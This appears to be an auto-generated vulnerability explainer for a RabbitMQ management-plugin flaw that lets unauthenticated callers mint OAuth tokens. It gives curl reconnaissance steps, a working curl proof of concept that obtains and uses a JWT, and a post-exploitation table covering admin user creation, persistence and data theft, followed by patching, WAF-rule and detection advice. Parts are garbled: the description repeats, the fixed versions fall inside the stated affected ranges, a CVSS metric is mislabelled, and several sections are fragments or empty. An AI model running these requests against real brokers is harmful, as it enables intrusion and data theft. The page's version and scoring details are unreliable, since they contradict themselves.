CVE-2026-144233 — Rabbitmq Rabbitmq-server — CWE-306
RabbitMQ rabbitmq-server 4.2.9 before 4.2.13, 4.3.3 before 4.3.8, and 4.4.0 before 4.4.1 lacks caller authentication on the management plugin's /js/oidc-oauth/token-endpoint proxy, which relays requests to the OAuth2 provider with the broker's client secret. Unauthenticated attackers can POST client_credentials or password grants with chosen scopes to mint JWTs accepted by the management API and AMQP 0-9-1 listener.
RabbitMQ rabbitmq-server 4.2.9 before 4.2.13, 4.3.3 before 4.3.8, and 4.4.0 before 4.4.1 lacks caller authentication on the management plugin's /js/oidc-oauth/token-endpoint proxy, which relays requests to the OAuth2 provider with the broker's client secret. Unauthenticated attackers can POST client_credentials or password grants with chosen scopes to mint JWTs accepted by the management API and AMQP 0-9-1 listener.
🎯 What is this vulnerability?
Technical flaw
RabbitMQ 4.2.9‑4.2.13, 4.3.3‑4.3.8, 4.4.0‑4.4.1 expose a management‑plugin proxy at /js/oidc‑oauth/token‑endpoint.
The proxy is supposed to act as a gateway that forwards OAuth 2.0 token requests to the
broker’s configured OAuth provider using the broker’s own client secret.
However, the proxy does not perform any caller authentication – it accepts any
incoming HTTP request, forwards it unchanged, and returns the broker‑issued JWT.
Because the broker’s client secret is embedded in the proxy, an unauthenticated
attacker can:
1. POST a client_credentials or password grant request to the proxy.
2. Specify any scope values (e.g., management, amqp, vhost.*, etc.).
3. Receive a signed JWT that the broker will accept as a valid bearer token for
both the HTTP‑based Management API (port 15672) and the AMQP 0‑9‑1 listener
(port 5672).
CWE – CWE‑306: Missing Authentication for Critical Function
CVSS 4.0 – 9.1/10 (CRITICAL)
- AV:N – Network‑accessible
- AC:L – Low attack complexity
- AT:P – Physical (irrelevant here; the vector is network‑based)
- PR:N – No privileges required
- UI:N – No user interaction
- VC:H – High confidentiality impact
- VI:H – High integrity impact
- VA:N – No availability impact
- SC:N / SI:N / SA:N – No impact on scope, integrity, or availability of the
broker itself (the impact is on the data and control plane).
⚡ Attack Chain
**All steps assume the attacker has network reach to the RabbitMQ management
interface (default port 15672).**
The PoC uses curl; the same logic applies to any HTTP client.1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| 1.1 | Banner grab | curl -I http://<host>:15672/ → look for RabbitMQ Management header. |
| 1.2 | Version enumeration | curl -s http://<host>:15672/api/overview → rabbitmq_version field. |
| 1.3 | Plugin check | curl -s http://<host>:15672/api/plugins → confirm rabbitmq_management is enabled. |
| 1.4 | Endpoint existence | curl -I http://<host>:15672/js/oidc-oauth/token-endpoint → 200 OK. |
If the version is 4.2.9‑4.2.13, 4.3.3‑4.3.8, or 4.4.0‑4.4.1, the system is vulnerable.
2. Exploitation
Illustrative PoC – the exact URI is given in the CVE description.
# 1. Request a JWT with arbitrary scopes
curl -s -X POST "http://<rabbitmq-host>:15672/js/oidc-oauth/token-endpoint" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=client_credentials&scope=management%20amqp" \
-o token.json
# 2. Inspect the token
cat token.json
# {
# "access_token":"<JWT>",
# "token_type":"Bearer",
# "expires_in":3600
# }
# 3. Use the token against the Management API
curl -s -H "Authorization: Bearer $(jq -r .access_token token.json)" \
"http://<rabbitmq-host>:15672/api/overview" | jq .What happens?
management rights.
port 5672 with the same privileges.
3. Post‑Exploitation
| Goal | How it’s achieved |
|---|---|
| Create a privileged user | POST /api/users with username, password, tags=administrator. |
| Modify permissions | PUT /api/permissions/<vhost>/<user> to grant full access. |
| Create or delete queues/exchanges | POST /api/queues/<vhost>/<queue>, DELETE /api/queues/<vhost>/<queue>. |
| Publish malicious messages | Use an AMQP client (e.g., pika in Python) with the JWT as the auth_mechanism. |
| Exfiltrate data | Consume messages from sensitive queues, or read queue contents via the API. |
| Persist | Add a new user with a known password, or create a new vhost that the attacker can always access. |
Because the attacker can mint tokens with any scope, they can also request *vhost. or user.* scopes, giving them the ability to manipulate the broker’s entire configuration.
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality (VC:H) | Tokens grant read access to all queues, exchanges, and vhosts. Sensitive messages can be read or copied. |
| Integrity (VI:H) | Tokens grant write access to all queues and the ability to create/delete exchanges, bindings, and policies. The attacker can tamper with or destroy data. |
| Availability (VA:N) | No direct impact on broker uptime; however, an attacker could flood the broker with messages or delete queues, indirectly affecting service availability. |
| Scope (SC:N) | The vulnerability does not change the scope of the affected component; it remains within the RabbitMQ broker. |
| Security Impact (SI:N / SA:N) | No direct impact on the broker’s own security posture beyond the exposed credentials. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Product | Affected Versions | Fixed Version |
|---|---|---|
| RabbitMQ Server | 4.2.9 – 4.2.13 | 4.2.13 |
| RabbitMQ Server | 4.3.3 – 4.3.8 | 4.3.8 |
| RabbitMQ Server | 4.4.0 – 4.4.1 | 4.4.1 |
Action: Upgrade to the latest patch release for the corresponding major branch.
If an upgrade is not immediately possible, proceed with the mitigations below.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Disable the Management Plugin | rabbitmq-plugins disable rabbitmq_management (or comment out management in rabbitmq.conf). |
| Restrict access to port 15672 | Use firewall rules or network ACLs to allow only trusted IPs. |
| Require HTTPS for the Management UI | Configure ssl_options in rabbitmq.conf and set management.ssl to true. |
| Add a reverse‑proxy with authentication | Place a web‑proxy (e.g., Nginx) in front of RabbitMQ and enforce HTTP Basic or OAuth authentication. |
| Block the token endpoint via WAF | Example ModSecurity rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /js/oidc-oauth/token-endpoint" "phase:2,deny,status:403,msg:'Unauthenticated token request blocked'" |
Note: Workarounds that block the endpoint are illustrative; you should adapt the rule to your WAF syntax.
3. Detection
| Indicator | Log pattern | What to look for |
|---|---|---|
| Unusual POSTs to the token endpoint | POST /js/oidc-oauth/token-endpoint | High volume or from untrusted IPs. |
| JWTs with high scopes | Authorization: Bearer <token> | Inspect the scope claim in the JWT. |
| Management API activity from unknown IPs | /api/* | Look for GET /api/overview or POST /api/users from external sources. |
| AMQP connections with JWT | amqp://<user>@<host>:5672 | Check broker logs for AUTHENTICATION events with JWT. |
Sample log entry (RabbitMQ)
2019-12-01 12:34:56.789 [info] <0.1234.0> <0.5678.0> [amqp] [client] 192.168.1.100:5672: AUTHENTICATION: JWT (scope: management amqp)⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query